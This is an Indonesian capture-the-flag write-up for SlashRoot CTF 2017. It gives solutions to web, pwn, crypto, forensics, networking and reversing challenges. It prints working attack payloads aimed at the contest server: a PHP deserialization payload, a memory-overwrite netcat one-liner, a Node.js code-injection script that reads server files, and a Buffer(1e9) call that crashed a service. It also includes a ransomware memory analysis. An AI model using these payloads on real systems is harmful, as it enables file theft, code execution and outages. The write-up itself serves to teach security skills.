• No results found

Writeup CTF (Capture The Flag) Slashroot 2017

N/A
N/A
Protected

Academic year: 2021

Share "Writeup CTF (Capture The Flag) Slashroot 2017"

Copied!
40
0
0

Loading.... (view fulltext now)

Full text

(1)
(2)

Daftar Isi

Daftar Isi 2

Pendahuluan 4

Soal Dan Penjelasan 4

1.Breakfast 4 Summary Questions 4 Proof of Concept 5 2.RuZIP 7 Summary Questions 7 Proof of Concept 7 3.Overwriting Game 8 Summary Questions 8 Proof of Concept 8 4.Ezip 9 Summary Questions 9 Proof of Concept 9 5.VLAN 10 Summary Questions 10 Proof of Concept 10 6.ACL 16 Summary Questions 16 Proof of Concept 16 7.Code - BR3AKER 20 Summary Questions 20 Proof of Concept 20 8.Rev4Fun 21 Summary Questions 21 Proof of Concept 21 9.God’s Number 22 Summary Questions 22 Proof of Concept 22 10.RSA 23 Summary Questions 23 Proof of Concept 23 11.Zodiak 25 Summary Questions 25

(3)

Proof of Concept 25 12.RSAlagi 26 Summary Questions 26 Proof of Concept 27 13.WannaFlag 27 Summary Questions 27 Proof of Concept 28 14.Galatic 34 Summary Questions 34 Proof of Concept 35 15.GDB 36 Summary Questions 36 Proof of Concept 36 16.Warmup 38 Summary Questions 38 Proof of Concept 38 17.Bonus 39 18.Bug Report 39 Pentutup 40

(4)

Pendahuluan

SlashRoot CTF adalah event tahunan dan satu - satunya yang diadakan dari Bali yang terbuka untuk mahasiswa/pelajar umum diseluruh Indonesia. Mensponsori event kami akan sangat membantu kami berjuang dalam mengedepankan kesadaran akan keamanan informasi dan hacking yang beretika ( ethical hacking ) melalui permainan hacking yang kompetitif ( CTF ) di Indonesia. Mensponsori event ini, tentunya anda berkesempatan untuk menunjukkan taring dan jati diri dari produk dan layanan perusahaan anda kepada lebih dari 100 orang yang tergabung dalam suatu tim diseluruh Indonesia!

Soal Dan Penjelasan

1.Breakfast

Summary Questions

File Object http://103.200.7.150:9080/ Level Breakfast - 75 Pts Clue - Tools Base64 Found Object - Flag SlashRootCTF{serialization_in_a_nutshell} Categories Web Hacking

(5)

Proof of Concept

Parameter $_GET[‘code’] menerima input berupa php serialize yang di encode menggunakan base64, kita di berikan beberapa contoh inputnya membuat object Exercise. Kita mempunya kontrol terhadap attribute $file yang bisa kita rubah menjadi apa saja, kita mencoba process.php untuk melihat isi source codenya.

?code=Tzo4OiJFeGVyY2lzZSI6MTp7czo0OiJmaWxlIjtzOjExOiJwcm9jZXNzLnBocCI7fQ== Kita mendapatkan source code dari process.php

<?php class Flag{

public $myFile = "not_flag.php"; public function __toString(){

return highlight_file($this->myFile, true); }

(6)

class Exercise{

public $file = "hello_world.php"; public function __toString(){

return highlight_file($this->file, true); }

}

$code = base64_decode($_GET['code']);

if(strpos($code, "Exercise") && strpos($code, "flag.php")){ echo "No no no!";

}else{

echo unserialize($code); }

?>

Dari source code tersebut kita ketahui untuk membaca file flag.php kita tidak bisa menggunakan class Exercise karena ada validasi yang membatasi itu, jadi kita bisa menggunakan class Flag yang fungsinya sama dengan Exercise.

Serializenya seperti berikut : O:4:"Flag":1:{s:6:"myFile";s:8:"flag.php";} Tzo0OiJGbGFnIjoxOntzOjQ6ImZpbGUiO3M6ODoiZmxhZy5waHAiO30=

<?php

$flag = "The special one ... hello flag, ";

$flag .= "SlashRootCTF{serialization_in_a_nutshell}"; //echo $flag;

echo "It's secret, we won't tell you the inside of this file!"; ?>

(7)

2.RuZIP

Summary Questions

File Object RuZIP

Level RuZIP - 75 Pts

Clue Corrupt

Tools Hexedit

Found Object flagnya.txt

Flag SlashRootCTF{Z1Pny4_94k_12U54k}

Categories Forensics

Proof of Concept

Perbaiki nama file yang rusak dan juga sesuaikan lenght dari nama filenya yang sebelumnya B0 menjadi 0B = 11 , sehingga file zip dapat di extract datanya ,

(8)

3.Overwriting Game

Summary Questions

File Object

Level Overwriting Game - 50 Pts Clue

Tools Idapro, gdb-peda, python Found Object

Flag SlashRootCTF{overwrite_meh_like_a_b0$$} Categories Pwning

Proof of Concept

python -c 'print hex(0x0804a034) + chr(0x0a) + str(1337) + chr(0x0a) +

hex(0x0804a038) + chr(0x0a) + str(1337) + chr(0x0a)' | nc 103.200.7.150 6666 Script diatas berfungsi untuk Overwrite pin1 dan pin2 dengan value yang sama.

(9)

4.Ezip

Summary Questions

File Object Level EZip - 50 Pts Clue Tools zlib,gzip,python Found Object .EZip

Flag SlashRootCTF{4123_y0u_12ea11y_123411y_R34LLY_n33d_c0 mp12355_p123ss_pr3ss_p12E55}

Categories Cryptography

Proof of Concept

Memanfaatkan huruf pertama yang di ketahui di XoR dengan ord(‘E’) import gzip with gzip.open('flag.txt.EZip', 'rb') as f: s = f.read() import zlib last = s[0] ^ ord('E') z = [last] for x, y in enumerate(s[1:]): last = y ^ last z += [last] print(zlib.decompress(bytes(z)))

(10)

5.VLAN

Summary Questions

File Object .pka

Level VLAN - 150 Pts

Clue Gunakan Packet Tracer V.7 Tools Paket tracer v.7

Found Object banner motd

Flag SlashRootCTF{D4sar_4dM1n_t3Led0R}

Categories Networking

Proof of Concept

Pada soal ini diberikan sebuah case lewat Cisco Packet Tracer, yang dimana sudah terdapat sebuah topologi jaringan seperti berikut :

Kemudian kita juga diberikan list dari IP nya dari masing-masing device yang ada disitu dan juga settingan nya (username, password, vlan, dll)

(11)

Dan dari device-device yang ada disitu, yg bisa kita gunakan hanya Laptop Guest – Attacker. Kita coba analis topologi tersebut, dan juga list network dan Vlan yang diberikan.

Pertama-tama kita coba mencari tau alamat IP dari Server Web dan FTP, kita coba rentan nya dari 180.10.1.1 - 180.10.1.6 karena netmask nya /29.

Lalu kita dapatkan IP Server Web dan FTP adalah 180.10.1.4.

Kemudian kita tracert dari Laptop Attacker ke 180.10.1.4 untuk mengetahui Hop yg dilalui dari Laptop Attacker

Packet Tracer PC Command Line 1.0 C:\>tracert 180.10.1.4

Tracing route to 180.10.1.4 over a maximum of 30 hops:

1 764 ms 80 ms 761 ms 172.168.5.1 2 31 ms 143 ms 25 ms 10.10.2.2 3 22 ms 32 ms 28 ms 180.10.1.4

Trace complete.

Ternyata disitu melewati IP 10.10.2.2 , yang kalau dilihat dari tabel itu adalah IP antara Router Backup_1 dan Backup_2.

(12)

Kemudian kita coba console lewat ssh ke IP 10.10.2.2 dengan username&passwrd dari Router Backup_1 dan Backup_2

C:\>ssh -l adm1n2 10.10.2.2 Open

Password:

RTR-BACKUP_2>

Dan yang berhasil adalah username&password Router Backup_2, maka bisa disimpulkan bahwa IP 10.10.2.2 adalah IP Router Backup_2, Lalu kita cek semua konfigurasi yang ada di Router Backup_2.

RTR-BACKUP_2>en Password:

RTR-BACKUP_2#conf t

Enter configuration commands, one per line. End with CNTL/Z. RTR-BACKUP_2(config)#do sh run

Building configuration...

Current configuration : 1408 bytes !

version 12.4

no service timestamps log datetime msec no service timestamps debug datetime msec no service password-encryption ! hostname RTR-BACKUP_2 ! ! !

enable secret 5 $1$mERr$xUVMf3A5DbTHRJz700GTO1 !

(13)

! ! !

aaa new-model !

aaa authentication login default group radius local

… … …

Extended IP access list ROUTER-BACKUP_2-1 10 deny icmp any 180.10.1.0 0.0.0.7 unreachable 20 permit ip any any (3122 match(es))

Ternyata kita dapatkan sebuah Rules ACL (Access List) dari Router Backup_2, kemudian hapus Rules tersebut :

RTR-BACKUP_2(config)# no ip access-list extended ROUTER-BACKUP_2-1

*selagi bisa diapus :D

Langkah selanjutnya kita coba ssh lagi dari Router Backup_2 ke Router Core, karena pasangan IP 10.10.2.2 adalah IP 10.10.2.1 yaitu IP milik dari Router Core.

RTR-BACKUP_2#ssh -l adm1ncore 10.10.2.1 Open

Password: RTR-CORE>

(14)

Dan ternyata berhasil….

Kemudian kita coba cek semua konfigurasi yang ada pada Router Core

RTR-CORE(config)#do sh run Building configuration...

Current configuration : 3206 bytes !

version 12.4

no service timestamps log datetime msec no service timestamps debug datetime msec no service password-encryption ! hostname RTR-CORE ! ! !

enable secret 5 $1$mERr$xUVMf3A5DbTHRJz700GTO1 ! ! ! ! ! aaa new-model !

aaa authentication login SSH-LOGIN local

... ... ...

(15)

Extended IP access list ROUTER-CORE 10 deny tcp 172.168.1.0 0.0.0.255 host 172.168.1.1 eq 22 20 deny tcp 172.168.2.0 0.0.0.255 host 172.168.2.1 eq 22 30 deny tcp 172.168.3.0 0.0.0.255 host 172.168.3.1 eq 22 40 deny tcp 172.168.4.0 0.0.0.255 host 172.168.4.1 eq 22 50 deny tcp 172.168.5.0 0.0.0.255 host 172.168.5.1 eq 22 60 permit ip any any (4098 match(es))

banner motd ^C ============================================================== ======= ___ ___ _ _ _____ ___ ___ ___ ___ ___ ___ | _ \/ _ \| | | |_ _| __| _ \ / __/ _ \| _ \ __| | / (_) | |_| | | | | _|| / | (_| (_) | / _| |_|_\\___/_\___/__|_|_|___|_|_\_ \___\___/|_|_\___| / __|/ _ \ / _ \| \ _ | |/ _ \| _ ) | (_ | (_) | (_) | |) | | || | (_) | _ \ \___|\___/ \___/|___/ \__/ \___/|___/ FLAG is SlashRootCTF{D4sar_4dM1n_t3Led0R} ============================================================== =======

Dan ternyataa ada sebuah flag di dalam banner motd pada Router Core, kemudian kita submit :

(16)

6.ACL

Summary Questions

File Object

Level ACL - 300 Pts

Clue Paket Tracer

Tools Packet Tracer v.7 Found Object SlashRootCTF.txt

Flag SlashRootCTF{jump4_la91_d1_f1n4l} Categories Networking

Proof of Concept

Lanjutan dari yang Vlan diatas, setelah kita tau ada Rules ACL lagi pada Router Core

Extended IP access list ROUTER-CORE

10 deny tcp 172.168.1.0 0.0.0.255 host 172.168.1.1 eq 22 20 deny tcp 172.168.2.0 0.0.0.255 host 172.168.2.1 eq 22 30 deny tcp 172.168.3.0 0.0.0.255 host 172.168.3.1 eq 22 40 deny tcp 172.168.4.0 0.0.0.255 host 172.168.4.1 eq 22 50 deny tcp 172.168.5.0 0.0.0.255 host 172.168.5.1 eq 22 60 permit ip any any (4098 match(es))

Seperti biasa, kita hapus rules tersebut..

RTR-CORE(config)#no ip access-list extended ROUTER-CORE

Kemudian kita coba console router yang terakhir, yaitu Router Backup_1

(17)

dengan Router Backup_2.

RTR-BACKUP_2>ssh -l adm1n1 180.10.1.1

Dan ternyata berhasil, lalu kita coba lihat seluruh konfigurasi yang ada pada Router Backup_1.

RTR-BACKUP_1(config)#do sh run Building configuration...

Current configuration : 1469 bytes !

version 12.4

no service timestamps log datetime msec no service timestamps debug datetime msec no service password-encryption ! hostname RTR-BACKUP_1 ! ! !

enable secret 5 $1$mERr$xUVMf3A5DbTHRJz700GTO1 ! ! ! ! ! aaa new-model !

aaa authentication login default group tacacs+ local

….. ….

(18)

10 permit host 192.168.100.4

Extended IP access list ROUTER-BACKUP_1-2 10 deny tcp any host 180.10.2.2 eq ftp

Dan terdapat Rules ACL lagi pada Router Backup_1, namun ada yg sedikit mencurigakan pada rules nya. Disitu terdapat rules untuk tidak membolehkan koneksi ke ftp dengan IP 180.10.2.2

Kita menduga itu adalah FTP Server dari Server Backup. Kemudian kita hapus Rules ACL nya.

RTR-BACKUP_1(config)#no ip access-list extended ROUTER-BACKUP_1-2 RTR-BACKUP_1(config)#no ip access-list standard ROUTER-BACKUP_1-1

Setelah semua rules ACL pada Router sudah kita hapus, kemudian kita coba koneksi ke ftp server dengan IP 180.10.2.2 yang kita curigai pada rules ACL Router Backup_1. C:\>ftp 180.10.2.2 Trying to connect...180.10.2.2 Connected to 180.10.2.2 220- Welcome to PT Ftp server Username:adm1nftp

331- Username ok, need password Password:

230- Logged in (passive mode On) ftp>

Dan ternyata berhasillllll, lalu kita coba cari tau isi dari direktori ftp server tersebut

FTP Server 2 - 180.10.2.2

Listing /ftp directory from 180.10.2.2:

0 : SlashRootCTF.txt 137 1 : asa842-k8.bin 5571584 2 : asa923-k8.bin 30468096

(19)

3 : c1841-advipservicesk9-mz.124-15.T1.bin 33591768 4 : c1841-ipbase-mz.123-14.T7.bin 13832032 5 : c1841-ipbasek9-mz.124-12.bin 16599160 6 : c2600-advipservicesk9-mz.124-15.T1.bin 33591768 7 : c2600-i-mz.122-28.bin 5571584 8 : c2600-ipbasek9-mz.124-8.bin 13169700 9 : c2800nm-advipservicesk9-mz.124-15.T1.bin 50938004 10 : c2800nm-advipservicesk9-mz.151-4.M4.bin 33591768 11 : c2800nm-ipbase-mz.123-14.T7.bin 5571584 12 : c2800nm-ipbasek9-mz.124-8.bin 15522644 13 : c2950-i6q4l2-mz.121-22.EA4.bin 3058048 14 : c2950-i6q4l2-mz.121-22.EA8.bin 3117390 15 : c2960-lanbase-mz.122-25.FX.bin 4414921 16 : c2960-lanbase-mz.122-25.SEE1.bin 4670455 17 : c2960-lanbasek9-mz.150-2.SE4.bin 4670455 18 : c3560-advipservicesk9-mz.122-37.SE1.bin 8662192 19 : pt1000-i-mz.122-28.bin 5571584 20 : pt3000-i6q4l2-mz.121-22.EA4.bin 3117390

Terdapat sebuah file SlashRootCTF.txt yang kita duga isinya pasti sesuatuuuu Kemudian kita get file tersebut.

udah nonton filmnya ya bang yang "Cek Toko Sebelah" ?? ane kasi flag dah kalo udah nonton..

FLAG is => SlashRootCTF{jump4_la91_d1_f1n4l}

(20)

7.Code - BR3AKER

Summary Questions

File Object

Level Code - BR3AKER - 10 Pts

Clue Pass .rar? Pass .rar nya apa kak? Hmmm, gimana ya, coba aku masuk ke pintu yang tadi lagi deh, hey pintu...!

Tools Text Editor (Sublime, geany, dln) Found Object

Flag SlashRootCTF{LM2O}

Categories Joy/Game

Proof of Concept

Pertama dapetin password rar dari game yang ada di folder “key” passwordnya adalah : terbukalah, terus Dimainkan aja sampai akhir, dapatkan kode keluar dari data/*.json “strings *|grep “ini kan pintu keluar”.

(21)

8.Rev4Fun

Summary Questions

File Object ELF

Level Rev4Fun - 75 Pts Clue - Tools ida Found Object Flag SlashRootCTF{rev_is_0k} Categories Reversing

Proof of Concept

(22)

9.God’s Number

Summary Questions

File Object robots.txt, backup.json Level God’s Number - 100Pts Clue

Tools php

Found Object data/*.json

Flag SlashRootCTF{4phun_bypass!}

Categories Website

Proof of Concept

Kita mendapatkan backup source code yang tertera di robots.txt

http://103.200.7.150:8087/robots.txt kemudian kami menganalisa proses.php yang memiliki beberapa constraint yang harus di lewati sebelum program menampilkan flagnya.

(23)

Pertama : $password harus di set.

Kedua : $password harus number ( di php kita bisa menggunakan 1e2 exponent sebagai number).

Ketiga : $password tidak menggandung “.”

Keempat : panjang $passw harus > 4 ( kita gunakan minus floating exponent untuk bypass ).

Kelima : $passw harus di antara 5001 – 9999.

get flag : http://103.200.7.150:8087/proses.php?password=911111E-2 menggunakan 911111E-2 => 9111.11 => strlen = 7

10.RSA

Summary Questions

File Object

Level RSA - 100 Pts

Clue Convert Ke ASCII

Tools python

Found Object

Flag SlashRootCTF{1N1_312354h4h4}

Categories Crypto

Proof of Concept

Diberikan N,e,c , pertama kita cari faktorisasi dari N untuk mendapatkan p dan q menggunakan :

https://factordb.com/index.php?query=1799159815596838211639026598242739 kemudian kita hitung phinya menggunakan rumus phi = (p-1)*(q-1) nanti di gunakan untuk mencari d atau private exponent untuk digunakan mendekrip Ciphertext.

(24)

import gmpy2 N = 1799159815596838211639026598242739 p = 19900922910223213 q = 90405848196748703 c = 318686567182196523307366910641013 e = 200917020563208190152062461460131 t = (p-1)*(q-1) def egcd(a, b): x,y, u,v = 0,1, 1,0 while a != 0: q, r = b//a, b%a m, n = x-u*q, y-v*q

b,a, x,y, u,v = a,r, u,v, m,n gcd = b

return gcd, x, y

# returns d such that e * d == 1 modulo t, or 0 if no such y exists. d = gmpy2.invert(e,t)

# Decryption m = pow(c,d,N)

print "Solved ! m = %d" % m

Didapatkan m = “49 78 49 95 51 49 50 51 53 52 104 52 104 52” yang di convert ke ASCII Menghasilkan flagnya “1N1_312354h4h4”.

(25)

11.Zodiak

Summary Questions

File Object http://103.200.7.150:9087/ Level Zodiak - 250 pts Clue - Tools python

Found Object app.js, ../../../home/node/.flag

Flag SlashRootCTF{horoscope_is_bullsheep} Categories Website

Proof of Concept

Analisis awal adalah kita memanfaatkan bug template injection untuk mendapatkan command injection ataupun reverse shell tapi setelah beberapa saat ternyata parameter month dan day vulnerable terhadap code injection terbukti pada saat di inputkan dengan “process” ataupun dengan variable yang belum di definisikan maka akan muncul error.

Kemudian kami menggunakan python untuk membaca hasil return dari website yang vulnerable terhadap code injection dan melakukan translasi dari decimal ke ascii.

import requests import json file = "../../../home/node/.flag" fungsi = "readFileSync" url = "http://103.200.7.150:9087/ramal/?day=root.process.mainModule.require(%27fs%2 7)."+fungsi+"(%27"+file+"%27)&month=1&year=process&name=a" # url =

(26)

"http://103.200.7.150:9087/ramal/?day=Buffer(1e5)&month=1&year=process&name =a" result = requests.get(url) print result.text result = json.loads(result.text) res = "" p = [] # try: for x in result['day']['data']: res += chr(x) # except: # print result['day'] # exit(1) print res

12.RSAlagi

Summary Questions

File Object pub.key, flag.enc Level rsalagi - 200 Pts Clue

Tools python,rsactftool (https://github.com/Ganapati/RsaCtfTool) Found Object

Flag SlashRootCTF{rsa_RSA_1254_Rivest-Shamir-Adleman} Categories Crypto

(27)

Proof of Concept

Pertama convert encrypted flag yang dalam base64 kedalam hex . import base64 file = open("flag.enc","r").read() a = int(base64.b64decode(file)) b = hex(a)[2:][:-1] file = open("flag.enc.hex") file.write(b.decode('hex')) file.close()

Kemudian menggunakan rsactftool untuk melakukan decrypt rsactf --publickey pub.key --uncipher flag.enc.hex

13.WannaFlag

Summary Questions

File Object memory.mem, This File.png.WannaFlag

Level WannaFlag - 200 Pts

Clue -

Tools python, ILSpy, Volatility Found Object WannaFlag.exe

Flag SlashRootCTF{}

(28)

Proof of Concept

Kita melakukan analisa terhadap memori pada soal yang katanya terkena ransomware yang mengecrypt seluruh data pada drive D nya, kami menemukan binarynya dengan tools volitality versi GUI.

Pertama kami analisa dengan mencari tahu proses apa yang sedang berjalan yang terekam oleh memory tersebut dengan menggunakan “pslist”. Kemudian ada program yang kami curigai sebagai virus bernama wannaflag.exe yang sedang berjalan pada proses PID 600.

Kedua kami mencoba mengambil file wannaflag.exe tersebut menggunakan perintah “Procdum” .

(29)

File “executable.600.exe.bin” adalah file wannaflag.exe yang telah kita ambil.

Keempat kita cek lagi dengan perintah “netscan” untuk melihat trafik pada computer yang terhubung dengan beberapa IP. Disini jelas file wannaflag.exe mempunyai hubungan dengan IP 103.200.7.150:31337

(30)

Setelah ditelusuri IP tersebut kita diharuskan memilki token untuk melihat file-file apa saja yang terenkripsi, dan token tersebut digunakan untuk melakukan proses dekripsi kemudian kita melakukan reverse file executable wannaflag.exe menggunakan ILSpy karena binarnya dibuat menggunakan .NET

Kemudian merapihkan kodingan nama fungsinya tidak jelas agar memudahkan kita dalam membaca source code https://pastebin.com/7EkhN760 , kami menemukan adanya API yang digunakan oleh ransomware untuk menyimpan hasil dari enkripsi tersebut yaitu di http://facebook.com:31337/api/ransom/store facebook.com sebenarnya adalah host 103.200.7.156 yang sebelumnya mereka sudah memodifikasi file “drivers\\etc\\hosts” dari korban , kesalahan ransomware tersebut adalah mengirimkan detail file yang terencrypt ke :

“http://facebook.com:31337/api/ransom/store” yang dikirim adalah : - token

- filename

- key (yang digunakan sebagai password enkripsi dalam sha256) - md5Asli

- md5Enc

Setelah itu kita membutuhkan IV dan KEY nya untuk melakukan decrypt dengan menjalankan potongan fungsi pada ransomware tersebut untuk mendapatkan IV dan

(31)

KEY yang telah di salted. using System; using System.Collections.Specialized; using System.ComponentModel; using System.Drawing; using System.IO; using System.Net; using System.Security.Cryptography; using System.Text;

public class Test {

public static void Main() {

byte[] sha256Password = Encoding.UTF8.GetBytes("k6u9a1b6"); sha256Password =

SHA256.Create().ComputeHash(sha256Password);

byte[] result = null; byte[] salt = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };

using (MemoryStream memoryStream = new MemoryStream()) {

(32)

using (RijndaelManaged rijndaelManaged = new RijndaelManaged())

{

rijndaelManaged.KeySize = 256; rijndaelManaged.BlockSize = 128;

Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(sha256Password, salt, 1337); rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8); rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8); Console.WriteLine("KEY: {0}", Convert.ToBase64String(rijndaelManaged.Key)); Console.WriteLine("IV: {0}", Convert.ToBase64String(rijndaelManaged.IV)); // Console.Write(); // Console.Write(rijndaelManaged.IV); rijndaelManaged.Mode = CipherMode.CBC; using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write)) { // cryptoStream.Write(bToE, 0, bToE.Length); cryptoStream.Close(); } result = memoryStream.ToArray(); } } // return result; }

(33)

}

Setelah mendapatkan semua yang kita perlu untuk melakukan decrypt kita gunakan python untuk mendecrypt.

import base64, os, hashlib from Crypto.Cipher import AES

# SHA256.Create().ComputeHash("k6u9a1b6"); # Mode = CipherMode.CBC; file ="flag.png.wannaflag" passSha256 = hashlib.sha256() passSha256.update("k6u9a1b6") passSha256.digest() enc = open(file).read() KeySize = 256; BlockSize = 128; key=base64.b64decode("14AMKb2KaTw4bwgfjVhXofq4ATxzif0v9mw/bazXjn4=") iv=base64.b64decode("EAlwSdMyJTTZvqw/JoJ99Q==")

handler = AES.new(key, AES.MODE_CBC, iv) # filesize = os.path.getsize(file)

with open(file, 'rb') as infile:

with open(".".join(file.split(".")[:2]), 'wb') as outfile: outfile.write(handler.decrypt(infile.read()))

# SlashRootCTF{Y0u_FinD-The-Right_w4y_4nd_y0u_g0t_th1s}

(34)

14.Galatic

Summary Questions

File Object Level Galactic - 100 Pts Clue Tools idapro Found Object Flag SlashRootCTF{revmemybruh!} Categories Reverse

(35)

Proof of Concept

plus = [3, 5, 6, 9, 10, 11, 55, 66, 34, 11, 12, 11] enc = [84, 62, 75, 60, 66, 60, 27, 12, 61, 80, 59, 6] val = [87, 91, 93, 95, 108, 111, 114, 126, 127, 219, 223, 241] def ency(): res = [0, 0, 0, 0 ,0, 0, 0, 0, 0, 0 ,0, 0] for x in range(12):

res[x] = val[x] & (enc[x] + plus[x]) return res

res = ency()

hasil = [87, 67, 81, 69, 76, 71, 82, 78, 95, 91, 71, 17] tmp=[]

for z,y in enumerate(hasil): for x in range(255): # print x,y,z if z+37^x == y: tmp.append(x) break tmp = [chr(x) for x in tmp] print "SlashRootCTF{"+"".join(tmp) + "}" # buf = [] # print res # exit(1) # for x in range(12): # if res[x] != (x+37 ^ buf[x]): # print "salah" # exit(1)

(36)

# print "flag: "

15.GDB

Summary Questions

File Object Level GDB - 150 Pts Clue Tools GDB, nc, pwntools Found Object Flag SlashRootCTF{gdb_is_okay} Categories Reverse

Proof of Concept

Pertama kita download binarynya menggunakan cat ke dalam file elf kemudian reverse menggunakan idapro ternyata decimal dari tiap variable flag di kurangi dengan 17. Untuk download binary kita menggunakan pwntools dan python

(37)

from pwn import * serv = remote("103.200.7.150", 9977) data = serv.recv() print data data = serv.recv() print data serv.send('cat ./rev_me\n') elfn = "" for x in range(4): data = serv.recv() elfn += data # print data serv.close() out = open("rev", "wb") out.write(elfn) print "OK" out.close() serv.close()

Untuk mendecrypt flag juga menggunakan python

flag = [120, 117, 115, 112, 122, 132, 112, 128, 124, 114, 138] flag = [chr(x-17) for x in flag]

(38)

16.Warmup

Summary Questions

File Object

Level Warmup - 1 Pts

Clue

Tools Header modifier, postman, browser Found Object http://103.200.7.150:9086/

Flag SlashRootCTF{warmup_session}

Categories warmup

Proof of Concept

Dilihat dari cluenya, kita akan mengecek header IP tersebut. Dan ternyata terdapat sebuah string yang mirip dengan Flag :

SlashRootCTF{7761726d75705f21d6f40cfb511982e4424e0e250a9557}

(39)

Melalui website berikut : http://www.rapidtables.com/convert/number/hex-to-ascii.htm Dan kita coba decrypt hash md5 nya dengan website berikut :

https://hashkiller.co.uk/md5-decrypter.aspx

Lalu kita gabungkan semuanya menjadi Flag : SlashRootCTF{warmup_session}

17.Bonus

Karena tadi server sempat down, bonus flag untuk semuanya ! 10pts.

Flag: SlashRootCTF{free_flag_for_all_of_you_guys}

18.Bug Report

Kami menemukan sebuah bug pada soal Zodiak dengan IP

http://103.200.7.150:9087/ yang dapat membuat service down sehingga peserta lain tidak bisa mengerjakan soal dengan menggunakan fungsi Buffer(1e9).

(40)

Kita telah melaporkan bug tersebut kepada panitia, tetapi saat kita laporkan bug tersebut panitia serigalasalju sudah bobo karena waktu reportnya pada malam hari, dan setelah direspon oleh panitia lainnya, kita diminta untuk report bugnya besok pagi tapi sayangnya pada saat pagi hari kita mau report bugnya perlombaan sudah usai 

Pentutup

Puji Tuhan YME,

Kompetisi SlashRoot CTF 2.0 telah berakhir, Tim Kami PPP (Partai Persatuan Pwning) berhasil menyelesaikan 17 Soal yang dibuat oleh panitia. Uraian diatas adalah Writeup yang kami buat, semoga dapat bermanfaat bagi masyarakat umum yang sedang menekuni bidang CTF ini.

References

Related documents

Acute Rehabilitation Services Citrus Valley Health Partners’ Certified Primary Stroke Center, located at our Queen of the Valley Campus in West Covina, offers an entire continuum

Cardiology and Cardiothoracic Vascular surgery, Neurology &amp; Neurosurgery, Pediatric Surgery, Laparoscopic surgery, Pediatric cardiology and cardiothoracic

However, there has been no coordinated approach to monitor heavy metal levels in the estuary, hence the present study aim to determine the levels of heavy metal pollution

Since the 2011 VERITAS discovery of very high energy (VHE; E&gt;100 GeV) gamma rays from the Crab pulsar, there has been concerted effort by the gamma-ray astrophysics community to

Stone, PhD, ABPP-CN Assistant Professor of Psychology, Department of Psychiatry, Harvard Medical School; Director of Clinical Neuropsychology, Massachusetts Mental Health Center,

The specific objectives of this research were to: (1) collect and geo-reference all available bridge records and stream geomorphic assessment data and information into a

will prevent moisture from penetrating in between rolls. Do this for the entire room being sure to tape all seams. For ease of installation you can also tape down the perimeter of

Students who elect to register or are advised to register for course work under this status must return the Application for Non-Degree Status, with a $70 application fee, to